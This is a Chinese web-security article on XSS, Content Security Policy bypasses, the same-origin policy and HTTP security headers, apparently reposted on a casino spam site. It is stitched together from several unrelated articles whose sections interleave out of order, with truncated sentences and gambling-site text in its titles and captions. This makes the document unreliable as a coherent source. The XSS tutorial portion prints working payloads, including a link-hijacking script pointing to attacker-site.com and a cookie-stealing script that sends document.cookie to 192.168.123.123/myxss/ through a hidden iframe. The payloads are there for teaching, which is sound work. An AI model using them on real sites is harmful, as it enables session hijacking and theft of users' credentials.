澳门新浦京娱乐场网站-www.146.net-新浦京娱乐场官网
做最好的网站

澳门新浦京娱乐场网站:跨站脚本攻击,CSP的今

关于 Web 安全,99% 的网站都忽略了这些

2016/11/16 · 基础技术 · 安全

原文出处: 野狗   

澳门新浦京娱乐场网站 1

Web安全是一个如何强调都不为过的事情,我们发现国内的众多网站都没有实现全站https,对于其他安全策略的实践更是很少,本文的目的并非讨论安全和攻击的细节,而是从策略的角度引发对安全的思考和重视。

随着互联网技术的发展,现在的Web应用都含有大量的动态内容以提高用户体验。所谓动态内容,就是应用程序能够根据用户环境和用户请求,输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)的威胁,而静态站点则完全不受其影响。

一、从两个工具说起

最近Google又推出了两款有关CSP利用的小工具,其一为CSP Evaluator,这是一个能够评估你当前输入的CSP能否帮助你有效避免XSS攻击的工具,其用法非常简单,在输入框中输入你当前设置或将要设置的CSP值,选择需要验证的CSP版本,然后按下“CHECK CSP”即可。不知道CSP是什么的同学,可以看下阿里聚安全博客以前推送的一篇文章《Content Security Policy 入门教程》

下面的列表中会给出评估工具对你输入CSP的安全性评估,所有条目用不同颜色标记了可能的影响程度。并且每个条目都可以单击展开详情,以按照建议修复可能存在的缺陷。如图:

澳门新浦京娱乐场网站 2

CSP Evaluator还存在一个Chrome插件版本,同样易于使用。在使用了CSP的网站上单击扩展图标就可以自动对当前页面的CSP进行评估。

另一款工具为CSP Mitigator,这款Chrome插件允许您将自定义CSP策略应用于应用程序。 它可以帮助您了解启用CSP的后果,识别与您的策略不兼容的应用程序部分,并指导您在部署前进行任何必要的更改。效果图在Chrome商店中有,这里就不再赘述了。

可以看到,Google仍然在不遗余力地推行CSP的发展与应用。在CSP Evaluator的页面中,我们看到Google相关团队进行了一项规模巨大的研究来对CSP的现状进行了深入的分析,并基于这些结果,剖析了CSP的优缺点,并对CSP未来的发展给出了结论。就让我们跟随这篇文章,来看看CSP在今世的表现与CSP的未来是否可以期待。

1. 数据通道安全

http协议下的网络连接都是基于明文的,信息很有可能被泄露篡改,甚至用户都不知道通信的对方是否就是自己希望连接的服务器。因此,信息通道安全有以下两个目标:

  • 身份认证
  • 数据不被泄漏和篡改

幸运的是https解决了上述问题的(更多关于https的细节可以看下上一篇干货扒一扒https网站的内幕)。理论上https是安全的,即使如此,https依然应该被重视,因为理论上理论和实践是一样的,但实践中又是另外一回事。前段时间爆发的心血漏洞就是一个例子。

什么是 XSS

XSS 是一种常见的 web 安全漏洞,它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者),XSS 涉及到三方,即攻击者、客户端与Web应用。XSS 的攻击目标是为了盗取存储在客户端的 cookie 或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互。

总之,XSS 能做用户使用浏览器能做的一切事情。包括获取用户的 cookie 等重要隐私信息的操作。另外,同源策略无法保证不受 XSS 攻击,因为此时攻击者就在同源之内。

二、庐山真面目 —— 何为CSP

为了研究CSP(Content Security Policy)对XSS攻击的防护作用,他们做了对CSP安全模型的首次深入分析,分析了CSP标准中对web缺陷的保护能力,帮助识别常见的CSP策略配置的可能错误,并且展示了三类能使CSP无效化的绕过方法。

这次研究所采用的材料基于从Google搜索的索引文件中所提取到的CSP策略,从语料库中提取了大约1060亿页的页面,其中39亿是受CSP保护的,其中确认了26,011个独立的策略。他们发现,由于策略配置错误和白名单条目不安全,这些策略中至少有94.72%无法缓解XSS攻击。基于这样的研究结果,他们建议在实践中部署CSP时,使用基于nonce的方法而不是传统的白名单。并且,他们提出了名为“strict dynamic”的新特性,这是当前在Chromium浏览器中实现的CSP3规范的一个新特性。以下会详细讲述为何要使用这种策略和特性。

首先,何为CSP?我们知道,内容安全策略(CSP)是一种声明机制,允许Web开发者在其应用程序上指定多个安全限制,由支持的用户代理(浏览器)来负责强制执行。CSP旨在“作为开发人员可以使用的工具,以各种方式保护其应用程序,减轻内容注入漏洞的风险和减少它们的应用程序执行的特权”。当前,CSP还处在快速的发展期,目前正在进行规范中的版本是CSP3,CSP标准由用户代理选择实现。例如,Chromium具有完整的CSP2支持,并且实现了CSP3的大部分工作草案,仅在某些情况下可能会落后于实验中的某些特性,而Mozilla Firefox和基于WebKit的浏览器则刚刚获得了完整的CSP2支持。在实际使用中,CSP策略在Content-Security-Policy HTTP响应头或元素中提供。

2. 浏览器安全

https解决了点到点的安全问题和身份认证问题,接下来会出现问题的地方就只有2个:浏览器和服务器,这个层面上的安全问题并没有https一样的银弹可以一次性解决。

XSS 工作原理

XSS 通常可以分为两大类:

  • 客户端型
  • 服务端型

无论是哪一种 XSS,其目前主要的手段和目的如下:

  • 盗用 cookie,获取敏感信息。
  • 利用植入 Flash,通过 crossdomain 权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
  • 利用iframe、frame、XMLHttpRequest 或上述 Flash 等方式,以(被攻击者)- 用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作,前段时间新浪微博就遭遇过一次 XSS。
  • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
  • 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现 DDoS 攻击的效果

CSP的能力可以分为三类:

1.资源加载限制。 CSP的最广为人知和常用的方面是将各种子资源的加载限制到开发人员允许的一组源的能力,这组源称为源列表。 常用的指令是script-src,style-src,img-src和兜底的 default-src; 调节资源的指令的完整列表如下表1所示。作为特殊情况,script-src和style-src指令还有几个额外的配置选项可用; 这些选项允许对脚本和样式表进行更细粒度的控制。

澳门新浦京娱乐场网站 3

2.基于URL的限制。 某些类型的攻击不能通过管理子资源来防止,但与之类似,对于文档也需要有可以与之交互的可信来源的概念。 一个常见的例子是frame ancestors指令,它定义了允许的框架来源,以防止点击劫持。 类似地,base-uri和form-action定义哪些URL可以是

3.杂项限制和强化选项。由于在Web应用程序中缺乏能够启用安全限制的其他常见机制,CSP已经成为几个松散适用的安全功能的集合。 这些功能包括block-all-mixed-content和upgrade-insecurerequests,它们可以防止HTTPS混合内容错误并帮助改进HTTPS支持; plugin-types能够限制允许的插件格式; 还有sandbox,它反映了HTML5沙箱框架的安全功能。

通过这些能力我们可以看出,目前的CSP提供了对三种类型漏洞的保护功能

XSS:XSS攻击能在一个脆弱的应用程序中注入并执行不受信任的脚本(用script-src和object-src指令来进行保护)

Clickjacking:澳门新浦京娱乐场网站,Clickjacking通过在攻击者控制的页面上覆盖隐藏的框架来迫使用户在受影响的应用程序中执行不想要的操作。(通过限制框架嵌入和 frame-ancestors指令来保护)

Mixed content:Mixed content意味着在通过用HTTPS传递的页面上使用不安全协议加载资源(使用upgrade-insecure-requests和blockall-mixed-content关键字进行保护,限制将脚本和敏感资源加载到https网页中)

2.1 origin 源

了解浏览器安全,有一个概念特别重要,那就是源(origin) 什么是源呢?

  • 相同的HOST
  • 相同的协议
  • 相同的端口

举栗子:

  • https//www.wilddog.com和http//www.wilddog.com非同源,因为协议不同。
  • http//wilddog.com和http//www.wilddog.com非同源,因为域名不同。
  • http//wilddog.com和http//wilddog.com:8080非同源,因为端口不同。

源这个概念为甚这么重要,这要从同源策略说起。

客户端型 xss 攻击

客户端型 xss 攻击是一次性的,仅对当次的页面访问产生影响。客户端型 xss 攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。

假设有以下 index.php 页面:

<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http://www.cnblogs.com/bangerlee/">Click to Download</a>";
?>

该页面显示两行信息:

从 URI 获取 'name' 参数,并在页面显示
显示跳转到一条 URL 的链接
这时,当攻击者给出以下 URL 链接:

index.php?name=guest<script>alert('attacked')</script>

当用户点击该链接时,将产生以下 html 代码,带'attacked'的告警提示框弹出:

Welcome guest
<script>alert('attacked')</script>
<br>
<a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>

除了插入 alert 代码,攻击者还可以通过以下 URL 实现修改链接的目的:

index.php?name=
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
</script>

当用户点击以上攻击者提供的URL时,index.php页面被植入脚本,页面源码如下:

<script>
window.onload = function() {
var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
</script>
<br>
<a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>

用户再点击 "Click to Download" 时,将跳转至攻击者提供的链接。

三、曲径通幽处 —— 如何绕过CSP

在谈论CSP带来的好处之前,我们需要注意到。由于一些比较受欢迎的用户代理(浏览器)还不支持或者仅对CSP提供部分支持,所以如果应用仅仅依赖CSP作为深度防御的手段会很容易让安全机制完全失败。因此,在使用CSP之外还必须采用传统保护机制; 例如,在生成HTML代码时使用带有严格上下文转义的框架,使用X-Frame-Options Header以防止点击劫持,并确保资源在安全页面上通过HTTPS协议获取。请务必记住,设置CSP的实际好处是,当主要的安全机制不够用时,CSP可以在开发人员引入编程错误时保护用户远离可能导致的XSS,点击劫持或者混合内容错误。

事实上,由于点击劫持可以通过X-Frame-Options来避免,而混合内容错误在现代浏览器中已经默认被阻止了。因此CSP作为标准被提出的最主要目的,就是用于防护XSS攻击。而XSS,也正是既能通过CSP来缓解,又是开发者经常容易引入应用的错误。在实现用CSP防止不必要的脚本执行时,我们制定的策略必须满足三个要求:

1.策略必须同时定义script-src和object-src(或者使用default-src来补全),在缺少任意一项时均可以被绕过:

澳门新浦京娱乐场网站 4

2.script-src的源列表不能包含unsafe-inline关键词(除非使用nonce)或者允许data: URI,否则可以被绕过:

澳门新浦京娱乐场网站 5

3.script-src和object-src源列表不能包含含有攻击者可控制response的安全相关部分的源地址,或包含不安全的库。否则可以被绕过:

澳门新浦京娱乐场网站 6

如果以上任意一条没有被满足的话,整个CSP对于XSS的防护就会彻底失效。

由于CSP的基本假设之一就是在策略白名单中的域名只会提供安全的内容,因此从理论上来说攻击者不应该能够将有效的JavaScript注入到白名单里来源的响应中。然而在实践中,我们发现现代web应用程序往往会因为几种模式违反这个假设。

1.JavaScript带有用户可控的回调:某些JSONP函数接受用户传递的函数名,但未做严格的过滤,导致可以注入任意JavaScript代码执行,即使做了基本的过滤,也可能使用SOME攻击来注入任意函数名:

澳门新浦京娱乐场网站 7

2.反射或者符号执行:CSP对于脚本执行的限制可能(通常是意外地)被白名单中的脚本所规避。 例如,脚本可以使用反射来查找和调用全局作用域中的函数,如图:

澳门新浦京娱乐场网站 8

通常情况下这些函数不会有太大危害,因为参数是开发人员所控制的。然而当函数从DOM获取数据,而应用又有DOM注入的漏洞,则很可能被攻击者完全控制函数及其参数。一个典型的例子是目前流行的AngularJS库,它具有强大的模板语法和客户端模板执行:

澳门新浦京娱乐场网站 9

默认情况下AngularJS会通过eval来执行代码,在特定的不允许eval的CSP场景下,AngularJS也支持使用“CSP compatibility mode” (ng-csp)来执行模板的代码。攻击者只需要从白名单中的域名里引入AngularJS,就可以在页面上通过注入ng-app标签来编写能够执行任意JavaScript代码的模板。

3.意料之外的可被当做的JavaScript来解析的响应:通过浏览器对MIME的检查宽松来执行任意js,比如伪造脚本响应类型。如果被黑客控制响应的话,在白名单中script-src和object-src都可能存在隐患。

澳门新浦京娱乐场网站 10

4.作为安全手段的路径限制:CSP2中的whitelist可以指定路径(目录),然而如果白名单中的条目包含30X重定向,且能被黑客控制,则可以绕过CSP。

澳门新浦京娱乐场网站 11

最常见于OAuth中,或被用于防止referer丢失。

2.2 同源策略

同源策略限制了一个源(origin)中加载文本或脚本与来自其它源(origin)中资源的交互方式。简单的说就是一个源的页面上的js只能访问当前源的资源,不能访问其他源的资源。那么资源是什么呢?

  • DOM
  • 通过AJAX请求的网络资源
  • Cookie
  • WebStorage,webSql

很显然,同源策略以源为单位,把资源天然分隔,保护了用户的信息安全。

同源策略是一堵墙,然而墙并非不透风。有很多方法可以绕过同源策略让javascript访问其他源的资源。比如:

  • JSONP:基于iframe的方法(iframe window.name iframe window.domain iframe webMessage)
  • CORS:我认为只有CORS是”正当的”绕过同源策略的方法 同源策略是浏览器安全策略的基础,但同源策略面对很多攻击是无能为力的,比如XSS

服务端型 XSS 攻击

服务端型的 XSS 攻击与客户端型的运行原理类似, 其本质上是注入攻击。区别在于服务端型的恶意代码可以复用,并且不需要引诱用户点击某个连接。

还记得之前浏览器同源策略的知识吗?
浏览器的同源策略虽然对 ajax 请求做了限制,现代浏览器对于某些 xss 代码也做了过滤。但是,对于服务端返回的嵌入式资源的跨域交互是允许的!

黑客将将恶意代码通过某个操作,写入被攻击服务器的数据库中,接着在某个数据列表展示页面中通过嵌入 js 代码,迫使用户的浏览器执行恶意 javascript 代码来达到 XSS 攻击的目的。
就像下面这样:

// 用 <script type="text/javascript"></script> 包起来放在评论中

(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase   window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);

四、古来圣贤皆寂寞 —— CSP的应用现状

为了找出互联网中有多少CSP策略能够切实有效地防护XSS攻击,Google团队构造了一些数据集并进行了标准化处理。根据我们以上的结论,想要达到好的XSS防护效果,CSP的XSS保护策略必须处在强制模式下,并且至少包含以下两个指令之一:script-src或default-src。因此可以据此确定含有XSS防护的CSP策略。对于策略的安全性检查,他们采用了如下几种方式检验:

1.对于“unsafe-inline”的使用:对于一个使用了“unsafe-inline”并且没有使用nonce的策略,可以认为是很容易被绕过的。

2.缺少“object-src”:一个指定了“script-src”策略但是没有指定“object-src”(同时也没有“default-src”)的策略,是很容易用plugin绕过的。

3.在白名单中使用通配符:在白名单中使用通配符,或者使用URI Scheme很容易引起包含任意域名内容。

4.白名单中包含不安全的来源:如果白名单中的来源可能存在CSP Bypass,则也是不安全的。

对于如何检查存在CSP bypass的域名,我们定义为:

1.托管了AngularJS的域名,因为AngularJS允许在模板中执行任意代码。

2.暴露了JSONP接口的域名(可以使用JSONP任意定义js代码,或者SOME攻击自定义函数名)。

在进行了一系列数据的处理和分析之后,他们得到的结论是。在数据集中,有3,913,578,446(3.7%)个网址采用了CSP。 所有主机名中的1,664,019(0.16%)采用了CSP。他们将整个数据集分为3类:

1.所有策略

2.XSS-Protection 策略(至少含有script-src,object-src或者default-src之一)

3.严格XSS-Protection 策略(在2的基础上,不含unsafe-inline,unsafe-eval等,且URI Scheme,或者白名单通配符)

在此基础上,得到了目前互联网上CSP安全的总览

1.所有策略数据中的94.72%并没有提供XSS防护

2.在所有提供XSS防护的数据中,有94.68%可以被绕过

3.在所有提供XSS防护的数据中,有87.3%指定了unsafe-inline并且没有部署nonce

4.在所有提供XSS防护的数据中,有9.4%既没有指定object-src,也没有default-src

5.在所有提供XSS防护的数据中,有21.48%使用了通配符或者URI Scheme

6.在忽略3,5的情况下,仍有51.05%的可以被绕过。有些是因为4,更多的是因为script-src中的白名单中包含了不安全的域

通过对于所得到的对XSS有效的CSP防护策略的分析,我们得到了白名单的安全性如下

1.白名单数量越大,越难保证JSONP和AngularJS造成的安全问题

2.大概在严格策略中的41.65%,所有XSS防护策略中的79.17%,包含不安全的白名单

3.在使用12条白名单时,绕过率达到了94.8%

4.作为结果,我们得出的结论是,部署传统的基于白名单的CSP模型中防止XSS是不可行的,因为在实践中脚本执行限制通常可以被推翻。

可以看出,script-src的白名单是造成CSP失效的最大原因(除了没配置好的unsafe-inline和缺少object-src之外)。因此,我们应该如何改进CSP呢。其实CSP已经提供了更精细的方法来对信任脚本:加密随机数(cryptographic nonce)和哈希(hash)。 特别是nonces允许开发人员明确地注解每个受信任的脚本(不论内联和外部),同时禁止攻击者注入的脚本执行。 为了提高CSP的整体安全性,Google据此提出了一种稍微不同的策略写法。 应用程序维护者应该应用基于nonce的保护方法,而不是依赖白名单。 以下列表描述了基于白名单的CSP策略和满足此策略的脚本:

澳门新浦京娱乐场网站 12

可以看出,白名单中包含了一个不安全的域名,因此所述CSP的策略就是不安全的。攻击者可以通过JSONP暴露出的点来注入恶意代码: .

2.3 XSS (Cross-Site Script)

跨站脚本攻击,名字跟同源策略很像,事实上他们之间基本没有关系。跨站脚本攻击本质上是一种注入攻击(有兴趣了解更多注入攻击可以看Injection Theory)。其原理,简单的说就是利用各种手段把恶意代码添加到网页中,并让受害者执行这段脚本。XSS的例子只要百度一下有很多。XSS能做用户使用浏览器能做的一切事情。可以看到同源策略无法保证不受XSS攻击,因为此时攻击者就在同源之内。

澳门新浦京娱乐场网站 13

XSS攻击从攻击的方式可以分为:

  • 反射型
  • 存储型
  • 文档型

这种分类方式有些过时,长久以来,人们认为XSS分类有以上三种,但实际情况中经常无法区分,所以更明确的分类方式可以分为以下两类:

  • client(客户端型)
  • server(服务端型)

当一端XSS代码是在服务端被插入的,那么这就是服务端型XSS,同理,如果代码在客户端插入,就是客户端型XSS。

如何避免 XSS 攻击

  • 对于任何用户输入的信息,入库之前都要进行转义。
  • 使用浏览器自带的 xss filter
    现代浏览器都对反射型 xss 有一定的防御力,其原理是检查 url 和 dom 中元素的相关性。但这并不能完全防止反射型 xss。另外,浏览器对于存储型 xss 并没有抵抗力,原因很简单,用户的需求是多种多样的。所以,抵御 xss这件事情不能指望浏览器。
  • CSP(Content Security Policy)
    从原理上说防止xss是很简单的一件事,但实际中,业务代码非常多样和复杂,漏洞还是会出现。 CSP 并不是用来防止 xss 攻击的,但可以最小化xss发生后所造成的伤害。事实上,除了开发者自己做好 xss 转义,并没有别的方法可以防止 xss 的发生。CSP 可以说是 html5 给 web 安全带来的最实惠的东西。

综上所述,CSP 的作用是限制一个页面的行为是否是受 javascript 控制的。那么如何引入 CSP 呢?
假设现在需要完成一个只允许脚本从本源加载资源的设置,则有两种方式。

通过response头
Content-Security-Policy: script-src ‘self’
通过HTML的META标签
<meta http-equiv=”Content-Security-Policy” content=”script-src ‘self'”>
CSP 策略常用限制功能

base-uri : 限制这篇文档的uri  
child-src :限制子窗口的源(iframe,弹窗等),取代frame-src  
connect-src :限制脚本可以访问的源  
font-src : 限制字体的源  
form-action : 限制表单能够提交到的源  
frame-ancestors : 限制了当前页面可以被哪些页面以iframe,frame,object等方式加载  
frame-src :deprecated with child-src,限制了当前页面可以加载哪些源,与frame-ancestors对应 
img-src : 限制图片可以从哪些源加载  
media-src : 限制video, audio, source, track 能够从哪些源加载  
object-src :限制插件可以从哪些源加载  
sandbox :强制打开沙盒模式

CSP 是一个强大的策略,几乎可以限制所有能够用到的资源的来源。使用好 CSP可以很大程度降低 XSS 带来的风险
CSP 目前有两版,CSP1 和CSP2, 两版的支持状态可以在 http://caniuse.com/#search=csp 中查到。

  • Http-Only
    使用 http-only 保护 cookie。可以保证即使发生了 xss,用户的 cookie 也是安全的。使用 http-only 保护的 cookie 是不会被 javascript 读写的。所以无论是客户端还是服务端的 XSS 攻击,都无法通过 js 获取到用户的 cookie 信息。

五、江山代有才人出 —— 全新的CSP策略

为了防止这种事情的发生,我们使用nonce来定义策略。在nonce中,应用程序定义并生成了单一的,不可猜测的令牌(nonce),这个令牌会同时传递给CSP策略和作为一个合法HTML属性传递给script。 用户代理仅允许执行那些nonce值能够匹配策略中指定的值的脚本。虽然攻击者可以将标记注入易受攻击的页面,但是由于不知道nonce的临时值,因此他并不能执行恶意脚本。

澳门新浦京娱乐场网站 14

通过使用nonce,可以单独将脚本列入白名单。 即使攻击者能够定位XSS,nonce的值也是不可预测的,因此攻击者不可能向JSONP注入有效脚本。而且由于浏览器支持多个策略,因此可以把nonce和whitelist一起写,用逗号隔开。nonce可以用来将各个脚本列入白名单,而whitelist可以用于集中实施安全策略。

澳门新浦京娱乐场网站 15

那么,当我们生成动态脚本并插入时会发生什么呢?因为新生成的,被插入到页面的js并不知道nonce的值,所以会被拦截,因此需要CSP3里的 script-src: ’strict-dynamic’。’ trict-dynamic’允许将信任关系传递给动态生成的脚本,也就是说,“strict-dynamic”允许js动态添加的脚本执行,而忽略script-src的白名单。并且,其他的script-src白名单会被忽略,浏览器不会执行静态或解析器插入的脚本,除非它伴随有效的nonce值。这里的关键点是,使用createElement()来插入js时,能够执行createElement()的js已经被信任了,并且黑客不知道nonce的时候无法注入恶意脚本。因此我们可以信任新建的js代码。举例,我们可以这么写CSP:

澳门新浦京娱乐场网站 16

使用这样的策略时,开发者将需要向静态

2.4 防止XSS攻击–转义

无论是服务端型还是客户端型XSS,攻击达成需要两个条件:

  • 代码被注入
  • 代码被执行

其实只要做好无论任何情况下保证代码不被执行就能完全杜绝XSS攻击。详情可以看下XSS (Cross Site Scripting) Prevention Cheat Sheet这篇文章。这里简单说下结论:任何时候都不要把不受信任的数据直接插入到dom中的任何位置,一定要做转义。

2.4.1 对于某些位置,不受信任的数据做转义就可以保证安全:

  • div body的内部html
  • 一般的标签属性值

2.4.2 对于某些位置,即使做了转义依然不安全:

  • <script>中
  • 注释中
  • 表签的属性名名
  • 标签名
  • css标签中

2.4.3 使用JSON.parse 而不是eval,request 的content-type要指定是Content-Type: application/json;

2.4.4 如果链接的URL中部分是动态生成的,一定要做转义。

总结

XSS 与 CSRF 攻击都是属于高危攻击手段。即使是在现代浏览器、同源策略以及 html5 的强大防线下,他们依然能够对 web 应用产生巨大的危害。
在开发 web 应用时,应该合理利用 http-only、CSP 策略、以及用户输入信息转义,能够将 XSS 与 CSRF 的风险降到最低。

2.5 HTML 转义

澳门新浦京娱乐场网站 17

参考链接
  • 避免 SQL 注入, by wuyuanwei
  • Web 攻击与防护, by liuwulin
  • 浏览器的同源策略
  • 总结 XSS 与 CSRF 两种跨站攻击
  • XSS 攻击入门
  • 关于Web安全,99%的网站都忽略了这些, by wilddog
  • 预防跨站点请求伪造:了解浏览器选项卡中的隐藏危险
  • CSRF 攻击的应对之道

2.6 使用浏览器自带的 XSS-filter

澳门新浦京娱乐场网站 18

现代浏览器都对反射型XSS有一定的防御力,其原理是检查url和dom中元素的相关性。但这并不能完全防止反射型XSS。另外,浏览器对于存储型XSS并没有抵抗力,原因很简单,用户的需求是多种多样的。所以,抵御XSS这件事情不能指望浏览器。

可以通过http头控制是否打开XSS-filter,当然默认是打开的.X-XSS-Protection

澳门新浦京娱乐场网站:跨站脚本攻击,CSP的今世与未来。2.7 CSP(Content Security Policy)

从原理上说防止XSS是很简单的一件事,但实际中,业务代码非常多样和复杂,漏洞还是时不时会出现。CSP并不是用来防止XSS攻击的,而是最小化XSS发生后所造成的伤害。事实上,除了开发者自己做好XSS转义,并没有别的方法可以防止XSS的发生。CSP可以说是html5给Web安全带来的最实惠的东西。CSP的作用是限制一个页面的行为不论是否是javacript控制的。

如何引入CSP呢?

澳门新浦京娱乐场网站 19

2.7.1 通过response头

//只允许脚本从本源加载Content-Security-Policy: script-src 'self'

1
//只允许脚本从本源加载Content-Security-Policy: script-src 'self'

2.7.2 通过html的meta标签

//作用同上<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

1
//作用同上<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

那么CSP除了限制script-src之外还能限制什么呢?

  • base-uri: 限制这篇文档的uri;
  • child-src: 限制子窗口的源(iframe、弹窗等),取代frame-src;
  • connect-src: 限制脚本可以访问的源;
  • font-src: 限制字体的源;
  • form-action: 限制表单能够提交到的源;
  • frame-ancestors: 限制了当前页面可以被哪些页面以iframe,frame,object等方式加载;
  • frame-src: deprecated with child-src,限制了当前页面可以加载哪些源,与frame-ancestors对应;
  • img-src: 限制图片可以从哪些源加载;
  • media-src: 限制video,audio, source,track能够从哪些源加载;
  • object-src: 限制插件可以从哪些源加载;
  • sandbox: 强制打开沙盒模式;

可以看出,CSP是一个强大的策略,几乎可以限制了所有能够用到的资源的来源。使用好CSP可以很大成都降低XSS带来的风险。另外,CSP还提供一个报告的头Content-Security-Policy-Report-Only,使用这个头浏览器向服务器报告CSP状态,细节先不讨论。

Content-Security-Policy-Report-Only:script-src'self'; report-uri/csp-report-endpoint/

1
2
Content-Security-Policy-Report-Only:script-src'self';
                              report-uri/csp-report-endpoint/

CSP 目前有两版:CSP1和CSP2。

两版的支持状态可以在中查到。

CSP1:

澳门新浦京娱乐场网站 20

澳门新浦京娱乐场网站:跨站脚本攻击,CSP的今世与未来。CSP2:

澳门新浦京娱乐场网站 21

2.8 X-Frame-Options

这是response头,现在正在使用,但以后可以被CSP的frame-ancestors取代。目前支持的状态比起CSP frame-ancestors要好,使用的方式:

  • X-Frame-Options:DENY//这个页面不允许被以frame的方式加载
  • X-Frame-Options:SAMEORIGIN//这个页面只允许同源页面加载
  • X-Frame-Options:<uri> //这个页面只能被特定的域加载

2.9 Http-Only

使用Http-only保护cookie,可以保证即使发生了XSS,用户的cookie也是安全的。使用Http-only保护的cookie是不会被javascript读写的。

2.10 iframe沙箱环境

虽然有同源策略,iframe的问题还是有很多的,比如各种利用iframe进行跨源。HTML5为iframe提供了安全属性sandbox,如果使用此属性,iframe的能力将会被限制,细节我们将会在以后的文章中详细讨论。

2.11 其他安全相关的HTTP头

X-Content-Type-Options阻止浏览器进行content-type 嗅探。告诉浏览器相信此服务器下发的资源的类型,防止类型嗅探攻击。

HPKP(Public Key Pinning)Public Key Pinning是一个response头,用来检测一个证书的公钥是否发生了改变,防止中间人攻击。

HSTS (HTTP Strict-Transport-Security) 强制使用TSL作为数据通道,在扒一扒HTTPS网站的内幕中也有详细介绍。

说了这么多我们看以下一些各个网站实现的情况:

澳门新浦京娱乐场网站 22

谷歌是行业的标杆,在互联网无出其右,学习Google就对了!

澳门新浦京娱乐场网站 23

我们野狗的官网同样也实现了几个重要的http头。

澳门新浦京娱乐场网站 24

百度做的就比较差了,一家如此大规模的互联网公司,对于安全,对于技术如此不敏感,只能说是很悲哀,充分说明中国互联网企业对安全的重视是非常低的!值得注意的是,百度的http到https的跳转居然是服务端做的。

我们再来看下行业笑话12306。

澳门新浦京娱乐场网站 25

3. HTML5 对 Web 安全的影响

HTML5带来了很多新的特性,让浏览器和javascript获得了更大的能力。然而能力越大,被攻破后的危险就越大。

HTML5对XSS的影响主要体现在:

更大的攻击面,HTML5带来来更多的标签和更多的属性,XSS发生的可能性更大。更大的危害,HTML5更多的资源可以被XSS利用。黑客可以利用浏览器的一切权限,比如本地存储,GEO,WebSocket,Webworker。

遗憾的是HTML并没有针止XSS和XSRF带来系统性解决方案。在这个前提下,CSP变得非常重要,可以大大降低XSS后的危害。

HTML5时代实际对开发者提出来更高的要求,因为有更多的交互,更多的前端行为,HTML5有更多的API。希望共勉,不做蒙古大夫,与广大的开发者一同提高中国互联网的用户体验!

4. references

  • 安全相关的HTTP头
  • 同源策略
  • CSP
  • HPKP
  • w3c iframe element
  • MDN web security
  • XSS cheet sheet
  • 野狗科技官网

    1 赞 10 收藏 评论

澳门新浦京娱乐场网站 26

本文由澳门新浦京娱乐场网站发布于新浦京娱乐场官网,转载请注明出处:澳门新浦京娱乐场网站:跨站脚本攻击,CSP的今